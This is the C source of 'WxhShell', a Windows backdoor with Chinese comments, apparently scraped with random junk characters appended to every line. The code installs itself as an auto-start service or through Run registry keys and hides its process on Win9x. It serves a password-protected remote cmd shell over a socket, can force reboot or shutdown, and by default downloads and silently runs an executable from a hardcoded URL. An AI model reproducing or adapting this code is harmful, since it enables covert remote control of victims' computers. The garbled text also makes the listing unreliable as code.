    if(Boot(SHUTDOWN)) !!])~+4pP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h 3p~\%^  
    else {  >6'brb  
    closesocket(wsh); hM8FN  
    ExitThread(0); FCChB7c`  
    } - ysd`&  
    break; ?!bA#aSbl5  
    } qITd.< k  
  // 获取shell ,(kaC.Em  
  case 's': { *#B"%;Ln  
    CmdShell(wsh); ro^T L  
    closesocket(wsh); ?9z1'6  
    ExitThread(0); '~pZj"uy  
    break; (U*Zz+ R   
  } e!4Kl:  
  // 退出 6/|"y  
  case 'x': { ,u   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZRC7j?ui8`  
    CloseIt(wsh); eie u|_  
    break; ,fyqa  
    } S@C"tHD  
  // 离开 P~@I`r567  
  case 'q': { Jv D`RUh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .u;'eVH)a}  
    closesocket(wsh); Le,+jm  
    WSACleanup(); *G,r:Bnb  
    exit(1); cqb]LC  
    break; $)7Af6xD  
        } CfHPJ: Qo[  
  } 21\?FQrz  
  } x_x|D|@wM  
`wNJ*`  
  // 提示信息 bt?)ryu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7`K)7  
} 6 ZVD<C:\  
  } )auuk<  
Bh!J&SM:  
  return; BC1P3Sk 6X  
} 8?k.4{?  
c]:@y"W5$  
// shell模块句柄 axd9b,  
int CmdShell(SOCKET sock) iTeFy -Ct  
{ Mer\W6e"e  
STARTUPINFO si; IR*:i{  
ZeroMemory(&si,sizeof(si)); +4Lj}8,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; | b)N;t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0d=<^wLi^  
PROCESS_INFORMATION ProcessInfo; R$VeD1n@  
char cmdline[]="cmd"; 58_aI?~>>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4$b9<:M_  
  return 0; !<MW*7P=  
} iMOf];O)  
W[j7Vi8v  
// 自身启动模式 @7<m.?A!  
int StartFromService(void) V3}$vKQ  
{ 7S9Q{  
typedef struct -<B{?D  
{ p=J9N-EM  
  DWORD ExitStatus; nzORG  
  DWORD PebBaseAddress; y2Z1B2E%f  
  DWORD AffinityMask; "n=Ih_J  
  DWORD BasePriority; j\8'P9~%  
  ULONG UniqueProcessId; ^7~w yAr  
  ULONG InheritedFromUniqueProcessId; wH[}@w  
}   PROCESS_BASIC_INFORMATION; [u2)kH$  
4i o02qd 4  
PROCNTQSIP NtQueryInformationProcess; 6KI< J*Wz`  
j>OB<4?.+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8RR6f98FF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;F<)BEXC<  
3 ,?==?  
  HANDLE             hProcess; DY%#E9   
  PROCESS_BASIC_INFORMATION pbi; h/%Hk;|9  
;i><03  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0Ti>PR5M  
  if(NULL == hInst ) return 0; ~X -.@k'  
5K*-)F ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QP e}rQnm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %lU$;cY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $wn "+wX  
vv,(ta@t2  
  if (!NtQueryInformationProcess) return 0; XDJQO /qN  
ynN[N(m#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wFaWLC|&  
  if(!hProcess) return 0; :Y[r^=>  
$V8B =k~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T<0Bq"'%  
"zO+!h'o  
  CloseHandle(hProcess); cZ7b$MZ%9  
-3r&O:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q=9S?p M  
if(hProcess==NULL) return 0; y*6r&989  
3;`93TO{  
HMODULE hMod; mlgdwM  
char procName[255]; m-a _<xo  
unsigned long cbNeeded; ;r[=q u\  
+-#| M|a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )[)-.{q  
<96ih$5D1  
  CloseHandle(hProcess); @11voD  
r/L3j0  
if(strstr(procName,"services")) return 1; // 以服务启动 ][bz5aV  
t Q_}o[  
  return 0; // 注册表启动 R< xxwjt  
} 9&'Mb[C`"  
Z#;ieI\  
// 主模块 =W !m`  
int StartWxhshell(LPSTR lpCmdLine) '7'cKp  
{ &TWO/F+Y  
  SOCKET wsl; n]coqJ  
BOOL val=TRUE; Yjk A^e  
  int port=0; qm]ljut  
  struct sockaddr_in door; " Jnq~7]  
o(~JZi k  
  if(wscfg.ws_autoins) Install(); w6Tb<ja  
eB$v'9S8/  
port=atoi(lpCmdLine); +bf%]   
6nGDoW#  
if(port<=0) port=wscfg.ws_port; #^#)OQq]  
s9`T%pg  
  WSADATA data; zLXtj-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !8=uBS%  
"v*RY "5#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "?qu(}|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'T|.<u@~  
  door.sin_family = AF_INET; ~Nc] `95  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ <|If:|  
  door.sin_port = htons(port); \HK#d1>ox  
$V~%$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s9[v_(W  
closesocket(wsl); `XWxC:j3%  
return 1; bNaJ{Dm$R  
} Zp__  
E!Fy2h>[Z  
  if(listen(wsl,2) == INVALID_SOCKET) { %] #; ~I%  
closesocket(wsl); P^h2w%6'  
return 1; <&L;9fr  
} \GvVs  
  Wxhshell(wsl); g:o\r (  
  WSACleanup(); !w)Mm P Xb  
#JLDj(a?  
return 0; SpkVV/  
40 c#zCE  
} 'Yd%Tb|*  
dIpt&nH&$  
// 以NT服务方式启动 rf`Br\g8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^g[])2",  
{ HRb_ZJz  
DWORD   status = 0; >6kWmXK[  
  DWORD   specificError = 0xfffffff; y1 }d(%  
s?6 7@\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @Op8^8$`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0zTv'L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C3b'Q  
  serviceStatus.dwWin32ExitCode     = 0; \YKh'|04  
  serviceStatus.dwServiceSpecificExitCode = 0; =:g^_Hy  
  serviceStatus.dwCheckPoint       = 0; vfbe=)}[  
  serviceStatus.dwWaitHint       = 0; |v1 K@  
G/8xS=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6szkE{-/?  
  if (hServiceStatusHandle==0) return; |,7J!7T(I  
kCC9U_dj,  
status = GetLastError(); r2](~&i2  
  if (status!=NO_ERROR) bK].qN  
{ \Zh)oUHd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fhY[I0;}$  
    serviceStatus.dwCheckPoint       = 0; >=`c [=:Z_  
    serviceStatus.dwWaitHint       = 0;  vV[dJ%  
    serviceStatus.dwWin32ExitCode     = status; 28)TXRr-  
    serviceStatus.dwServiceSpecificExitCode = specificError; k41la?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y[zA [H:  
    return; 4y1> !~f  
  } kr*c?^b  
_ <;Q=?'*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ft'iv  
  serviceStatus.dwCheckPoint       = 0; 38m%ifh)  
  serviceStatus.dwWaitHint       = 0; 7XDV=PQ[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1SFKP$^  
} >Y/[zf I2  
jSFN/C.9h  
// 处理NT服务事件,比如:启动、停止 3opLLf_g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #8z,'~\  
{ 2 &Byq  
switch(fdwControl) 4{DeF@@  
{ Jrk^J6aa  
case SERVICE_CONTROL_STOP: 7idi&h"  
  serviceStatus.dwWin32ExitCode = 0; +^J-'7Vt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vaj66nV  
  serviceStatus.dwCheckPoint   = 0; Hk]BC  
  serviceStatus.dwWaitHint     = 0; <c ovApx  
  { RGO:p]t|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |nEV Oy>'  
  } "k-ov9yK  
  return; Z% ;4Ed  
case SERVICE_CONTROL_PAUSE: |"yf@^kdC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8sIrG  
  break; KupMndK  
case SERVICE_CONTROL_CONTINUE: 8'lhp2#h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q$)|/Y))  
  break; eFSC^  
case SERVICE_CONTROL_INTERROGATE: I/Jp,~JT*  
  break; }IN_5o((  
}; -(w~LT$ "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 1~7{#  
} bw<w u}ED  
ZCBPO~&hO'  
// 标准应用程序主函数 }6J7 <g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZB[(Tv1  
{ +oy&OKCa  
`OP>(bU0  
// 获取操作系统版本 ~g1, !Wl  
OsIsNt=GetOsVer(); 5w3ZUmjO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q)S>VDLA  
umjhG6  
  // 从命令行安装 sc8DY!|OYN  
  if(strpbrk(lpCmdLine,"iI")) Install(); `x} Dk<HF  
NaA+/:  
  // 下载执行文件  gt_X AH  
if(wscfg.ws_downexe) { ESMG<vW&f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'e]HP-Y<  
  WinExec(wscfg.ws_filenam,SW_HIDE); G*\abL  
} JA)o@[l F  
8PBU~mr  
if(!OsIsNt) { nG"n-$A?<  
// 如果时win9x,隐藏进程并且设置为注册表启动 6<Z*Tvk{C  
HideProc(); nlzW.OLM  
StartWxhshell(lpCmdLine); t'R':+0Vf  
} @H\pipT_b  
else ~XUOWY75  
  if(StartFromService()) d=XpO*v,[  
  // 以服务方式启动 2QGMe}  
  StartServiceCtrlDispatcher(DispatchTable); wmo{YS3t|  
else W|dpFh`  
  // 普通方式启动 MBB5wj  
  StartWxhshell(lpCmdLine); u#+RUtM  
mX&xn2}qZ"  
return 0; > z=Ou<,  
} |3{+6cg  
x(PKFn  
d/{Q t  
5`{vE4A]q  
=========================================== X>8-` p  
J&eAL3"GF  
74K)aA  
vv+D*e&<  
/_V'DJV  
]9jZndgC  
" =fl%8"%N&  
XHsd-  
#include <stdio.h> v&fGCD\R  
#include <string.h> W h| L  
#include <windows.h> bV@7mmz:X+  
#include <winsock2.h> 0G5'Y;8  
#include <winsvc.h> E0QPE5_  
#include <urlmon.h> '61i2\[lZQ  
{XtoiI  
#pragma comment (lib, "Ws2_32.lib") -kl;!:'.3  
#pragma comment (lib, "urlmon.lib") $uCiXDKCq  
HsnG4OE  
#define MAX_USER   100 // 最大客户端连接数 2F1ZAl  
#define BUF_SOCK   200 // sock buffer mDfwn7f  
#define KEY_BUFF   255 // 输入 buffer QY@u}&m%o  
b^ sb]bZW  
#define REBOOT     0   // 重启 "u;YI=+  
#define SHUTDOWN   1   // 关机 $jG4pPG  
Wr5Q5s)c  
#define DEF_PORT   5000 // 监听端口 (S F1y/g@=  
R2 lXTW*  
#define REG_LEN     16   // 注册表键长度 ?Ko|dmX  
#define SVC_LEN     80   // NT服务名长度 q#N R32byF  
mc ZGg;3  
// 从dll定义API e1unzpWN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mV?&%>*(f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3OP.12^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  (#o t^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *Y%Jl o  
WPo:^BD   
// wxhshell配置信息 +`.,| |Mq  
struct WSCFG { O*G1 QX  
  int ws_port;         // 监听端口 Hx %$ X  
  char ws_passstr[REG_LEN]; // 口令 rbyY8 bX  
  int ws_autoins;       // 安装标记, 1=yes 0=no d(7NO;S8  
  char ws_regname[REG_LEN]; // 注册表键名 h^oH^moq<  
  char ws_svcname[REG_LEN]; // 服务名 1fFj:p./l_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B +Aj*\Y.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )(m0cP{7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >A}0Ho  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C\Vg{&'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6~8F!b2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K2rzhHfb  
3o6RbW0[  
}; =X1?_~}  
S1b Au <  
// default Wxhshell configuration p[v#EyoC  
struct WSCFG wscfg={DEF_PORT, :243H  
    "xuhuanlingzhe", wLJ]&puwm  
    1, ".U^if F  
    "Wxhshell", Br5o7(AE  
    "Wxhshell", OP! R[27>  
            "WxhShell Service", O#eZ<hN V  
    "Wrsky Windows CmdShell Service", ?&X6:KJQ  
    "Please Input Your Password: ", KE}H&1PjU  
  1, md bp8,O  
  "http://www.wrsky.com/wxhshell.exe", 1n=_y o  
  "Wxhshell.exe" H!)=y  
    }; 2/7_;_#vJ%  
Ev9 >@~^  
// 消息定义模块 izZ=d5+K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }< 5F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +wO#'D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /rc%O*R  
char *msg_ws_ext="\n\rExit."; d 8o53a]  
char *msg_ws_end="\n\rQuit."; V@vU"  
char *msg_ws_boot="\n\rReboot..."; Y&.UIosWb  
char *msg_ws_poff="\n\rShutdown..."; y 9l*m~  
char *msg_ws_down="\n\rSave to "; 1wj:aD?g  
1zxq^BI  
char *msg_ws_err="\n\rErr!"; 1B=>_3_  
char *msg_ws_ok="\n\rOK!"; )_7>nuQ6  
/t%u"dP"T~  
char ExeFile[MAX_PATH]; 39i9wrP  
int nUser = 0; =aG xg57  
HANDLE handles[MAX_USER]; *OjKc s  
int OsIsNt;  .) tSg  
f9u^R=Ff[  
SERVICE_STATUS       serviceStatus; w'Tq3-%V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g" VMeW^  
u.XQ&  
// 函数声明 7- d.ZG  
int Install(void); (!L5-8O  
int Uninstall(void); Kv&g5&N,  
int DownloadFile(char *sURL, SOCKET wsh); ~uWOdm-"[  
int Boot(int flag); (2ot5x}`j  
void HideProc(void); "/Pjjb:2  
int GetOsVer(void); Sl2iz?   
int Wxhshell(SOCKET wsl); jKIxdY:U  
void TalkWithClient(void *cs); d*8 $>GA  
int CmdShell(SOCKET sock); JuR"J1MY  
int StartFromService(void); *|.0Myjo  
int StartWxhshell(LPSTR lpCmdLine); CqMhk  
6RO(]5wX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S{t+>/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `>Tu|3%\  
CvSIV7zYo  
// 数据结构和表定义 olB)p$aH#  
SERVICE_TABLE_ENTRY DispatchTable[] = \*hrW(   
{ {Bs~lC$  
{wscfg.ws_svcname, NTServiceMain}, OVzt\V*+%W  
{NULL, NULL} H(c72]@Vg  
}; qU2~fNY  
{'sY|lou  
// 自我安装 j`'`)3f  
int Install(void) *K!|@h{60  
{ O4\Z!R60g  
  char svExeFile[MAX_PATH]; $EZN1\  
  HKEY key; 6oaazB^L  
  strcpy(svExeFile,ExeFile); #4MBoN(3  
:P,sxDlG)  
// 如果是win9x系统,修改注册表设为自启动 s4Sd>D 7  
if(!OsIsNt) { Xp\/YJOibd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `g8E1-]l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AqK z$  
  RegCloseKey(key); P./V6i<:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X'.qYsS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e0@ 6Pd  
  RegCloseKey(key); 3~,d+P  
  return 0; E J$36  
    } HX'FYt/?t  
  } iHwLZ[O{  
} 7^wc)E^H  
else { gmIqT f  
U4m9e|/H;z  
// 如果是NT以上系统,安装为系统服务 sw A+f   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3iw{SEY  
if (schSCManager!=0) .Ha'p.  
{ M02uO`Y9  
  SC_HANDLE schService = CreateService F'g Vzf  
  ( FX9F"42@  
  schSCManager, aQI^^$9g  
  wscfg.ws_svcname, j1_ @qns{  
  wscfg.ws_svcdisp, <%xS{!'}  
  SERVICE_ALL_ACCESS, ;a-$D]Db  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uOa26kE4  
  SERVICE_AUTO_START, z0|&W&&D  
  SERVICE_ERROR_NORMAL, fc/ &X  
  svExeFile, bSVlk`  
  NULL, jiF?fX@  
  NULL, V9ssH87#  
  NULL, I^oE4o  
  NULL, dw.F5?j`b  
  NULL dt~YW  
  ); m*$|GW9  
  if (schService!=0) 5K|"\  
  { c/_ +o;Bc  
  CloseServiceHandle(schService); o)OUWGjb/K  
  CloseServiceHandle(schSCManager); DGevE~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^$&k5e/}C  
  strcat(svExeFile,wscfg.ws_svcname); ?$e9<lsQq)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b T 2a40ul  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bzdb|I6Z  
  RegCloseKey(key); <C9 XX~  
  return 0; s?ko?qN(  
    } -l%J/:  
  } ~rjTF!  
  CloseServiceHandle(schSCManager); ]v#r4Ert  
} *>VVt8*Et  
} ;<0LXYL;  
~4?9a(>3  
return 1; Xn~I=Ml d  
} u*qV[y5Bl  
z5W@`=D  
// 自我卸载 tK k#LWB  
int Uninstall(void) 5=e@d:Sz  
{ t%530EB3  
  HKEY key; K(XN-D/c  
*m2=/Sh  
if(!OsIsNt) { gIA@l `"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w&xDOyW]  
  RegDeleteValue(key,wscfg.ws_regname); e[Abp~@M1  
  RegCloseKey(key); -48vJR*tC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kD[ r.Dma  
  RegDeleteValue(key,wscfg.ws_regname); ^Q&u0;OJ  
  RegCloseKey(key); 7OjR._@  
  return 0; 7}jWBK  
  } $<ld3[l i  
} t'm;:J1  
} C{2xHd/*  
else { D/h/Y) Y  
c^`]`xiX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A{B/lX)  
if (schSCManager!=0) w>b-} t  
{ gNGr!3*)w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x1 1U@jd+1  
  if (schService!=0) k? Xc  
  { :$+-3_oLMQ  
  if(DeleteService(schService)!=0) { S(:l+JP  
  CloseServiceHandle(schService); :NJ(r(QG>  
  CloseServiceHandle(schSCManager); CkswJ:z)sc  
  return 0; cwV]!=RtO  
  }  JMdPwI  
  CloseServiceHandle(schService); xooY' El*#  
  } jmg!Ml  
  CloseServiceHandle(schSCManager); 2Hum!p:1  
} ^}f -!nf[  
} 0kDK~iT  
l1]p'Liuu  
return 1; dJ?XPo"Cm=  
} }K hjlPhx  
.@-$5Jw  
// 从指定url下载文件 BnRN;bu  
int DownloadFile(char *sURL, SOCKET wsh) ]59i>  
{ hm<}p&!J  
  HRESULT hr; /*Qq[C  
char seps[]= "/"; ?|e'Gbb_  
char *token; m0{!hF[^  
char *file; 7w;O}axI  
char myURL[MAX_PATH]; 5<L_|d)0"  
char myFILE[MAX_PATH]; 6!^[];%xN  
~XeFOM q  
strcpy(myURL,sURL); PA w-6;  
  token=strtok(myURL,seps); (z$r:p  
  while(token!=NULL)  'Pvm8t  
  { Q!,<@b)  
    file=token; fIF<g@s  
  token=strtok(NULL,seps); Q !qrNa6  
  } 9z?oB&5  
jEXW  
GetCurrentDirectory(MAX_PATH,myFILE); $hxN hI  
strcat(myFILE, "\\"); /MQU >&  
strcat(myFILE, file); T!W~n ZC  
  send(wsh,myFILE,strlen(myFILE),0); kj5Q\vr)  
send(wsh,"...",3,0); x_|F|9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |+ge8uu?C  
  if(hr==S_OK) D}3XFuZs_  
return 0; B5X sGLV  
else TO,rxf  
return 1; Y,8KPg@W  
c.\O/N   
} Cc?TSZ8[  
*=Z26  
// 系统电源模块 z=&z_}M8  
int Boot(int flag) (yo;NKq,@  
{ ydv3owN  
  HANDLE hToken; !2:3MbtR  
  TOKEN_PRIVILEGES tkp; Wl^R8w#Z$  
E99CmG|"  
  if(OsIsNt) { 4\.V   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bshGS8O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =\)IaZ  
    tkp.PrivilegeCount = 1; CGw--`#\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?B.~ AUN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2Ha5yaTL  
if(flag==REBOOT) { iV.p5FD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M^rM-{?<  
  return 0; uQLlA&I"  
} vAP{;Q0 i  
else { U3vEdw<lV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z1 i &Ge  
  return 0; r^$~>!kZ|  
} f7}"lG]q  
  } ,gnQa  
  else { | P6EO22p  
if(flag==REBOOT) { N$?cX(|7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E(<LvMiCa  
  return 0; FgA//)1  
} BH0!6Oq  
else { "C%!8`K{a*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b'>8ZIY  
  return 0; 4lc)&  
} 8dT'xuch  
} .BTx&AqU  
U2*6}c<  
return 1; 0rMqWP  
} o%(bQV-T  
X<Za9  
// win9x进程隐藏模块 Z$K+ 7>^  
void HideProc(void) 1q~LA[6  
{ t \5c@j p  
%u]6KrG18b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eFQQW`J  
  if ( hKernel != NULL ) OKY+M^PP  
  { hd^x}iK"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0*(K DDv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +}!DP~y+  
    FreeLibrary(hKernel); 2o{@nN8%  
  } $>vy(Y  
4e%8D`/=M  
return; oW'PO Ar  
} @[r={s\  
QJ<[Zx  
// 获取操作系统版本 H/i<_LP  
int GetOsVer(void) ko[TDh$T5  
{ ' Js?N  
  OSVERSIONINFO winfo; CM 9P"-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N_vXYaY  
  GetVersionEx(&winfo); AUAI3K?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F!CAitxd  
  return 1; atnQC  
  else ,+-?Zv 2  
  return 0; aW`dFitpM  
} B T7Id  
WFh@%j  
// 客户端句柄模块 T'R,vxP)\  
int Wxhshell(SOCKET wsl) ]C)|+`XE@  
{ 5^F]tRz-  
  SOCKET wsh; i`~~+6`J  
  struct sockaddr_in client; 6$z'wy/*  
  DWORD myID; !QTPWA  
7)PJ:4IqS  
  while(nUser<MAX_USER) @ KJV1t`  
{ L1MrrC  
  int nSize=sizeof(client); EW;1`x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `e*61k5  
  if(wsh==INVALID_SOCKET) return 1; a 2Et,WA%  
Gt'/D>FE0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qL>v&Rd<  
if(handles[nUser]==0) -$ali[  
  closesocket(wsh); ~y@& }  
else hg#c[sZL  
  nUser++; @WJf)  
  } a|z1K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f\=6I3z  
]0YDb~UB  
  return 0; >.@MR<H#5  
} %Y 2G  
`r9^:TMN  
// 关闭 socket (ic@3:xR  
void CloseIt(SOCKET wsh) lux9o$ %  
{ q!@c_o  
closesocket(wsh); sOC| B  
nUser--; \aB&{`iG  
ExitThread(0); kw;wlFU;  
} Ss+F9J  
@M9_j{A  
// 客户端请求句柄 0*{@E%9  
void TalkWithClient(void *cs) =3pD:L  
{ fW[_+r]  
#-A5Z;TD.  
  SOCKET wsh=(SOCKET)cs; Yr:>icz|  
  char pwd[SVC_LEN]; nT)~w s  
  char cmd[KEY_BUFF]; l2r>|CGQ[  
char chr[1]; 7~L|;^(  
int i,j; tPA"lBS !  
KM EXT$p  
  while (nUser < MAX_USER) { &9k"9  
vDWr|M%``l  
if(wscfg.ws_passstr) { td%Y4-+-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "NlRSc#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f)qPFM]%z  
  //ZeroMemory(pwd,KEY_BUFF); E:%>0FE  
      i=0; YALyZ.d  
  while(i<SVC_LEN) {  $.=5e3  
t% <pbZO  
  // 设置超时 _8Pmv$   
  fd_set FdRead; McO@p=M  
  struct timeval TimeOut; O#A8t<f|M  
  FD_ZERO(&FdRead); ]U#JsMS  
  FD_SET(wsh,&FdRead); p^}L  
  TimeOut.tv_sec=8; iz,]%<_PE  
  TimeOut.tv_usec=0; c,+iU R<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); USH@:c#t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OA\vT${5  
6hR^qdHg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V}j %gy`  
  pwd=chr[0]; \z&03@Sw  
  if(chr[0]==0xd || chr[0]==0xa) { ': 5Trx  
  pwd=0; f6@^ Mg  
  break; 9<+;hH8J_r  
  } )*"T  
  i++; &Xj{:s#  
    } R?1idl)  
m 4wPuW  
  // 如果是非法用户,关闭 socket #p']-No  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j=`y  @~  
} v)wY  
6:e}v'q{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0[_O+u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m9\@kA  
WRN8#b  
while(1) { .aVHd<M  
&<\4q  
  ZeroMemory(cmd,KEY_BUFF); B<vvsp\X  
LC~CPV'F  
      // 自动支持客户端 telnet标准   :mCw.Jz<h  
  j=0; 7C,<iY  
  while(j<KEY_BUFF) { lo IL{2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]{q- Y<{"  
  cmd[j]=chr[0]; x9FLr}e  
  if(chr[0]==0xa || chr[0]==0xd) { E7d~#  
  cmd[j]=0; $9LGdKZ_D  
  break; SXT@& @E  
  } "u3fs2  
  j++; ^?sSsH z  
    } MbT ONt?~v  
0{^l2?mgSb  
  // 下载文件 rw40<SS"Z  
  if(strstr(cmd,"http://")) { e{q p!N1!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,u8ZS|9  
  if(DownloadFile(cmd,wsh)) )sqp7["-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0{U]STj  
  else |g: '')>[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &kr_CP:;  
  } On2Vf*G@|  
  else { )|59FOWg  
C[J`x>-K  
    switch(cmd[0]) { ]`CKQ> o  
  gOES2 4$2  
  // 帮助 gs`27Gih  
  case '?': { !)51v {  
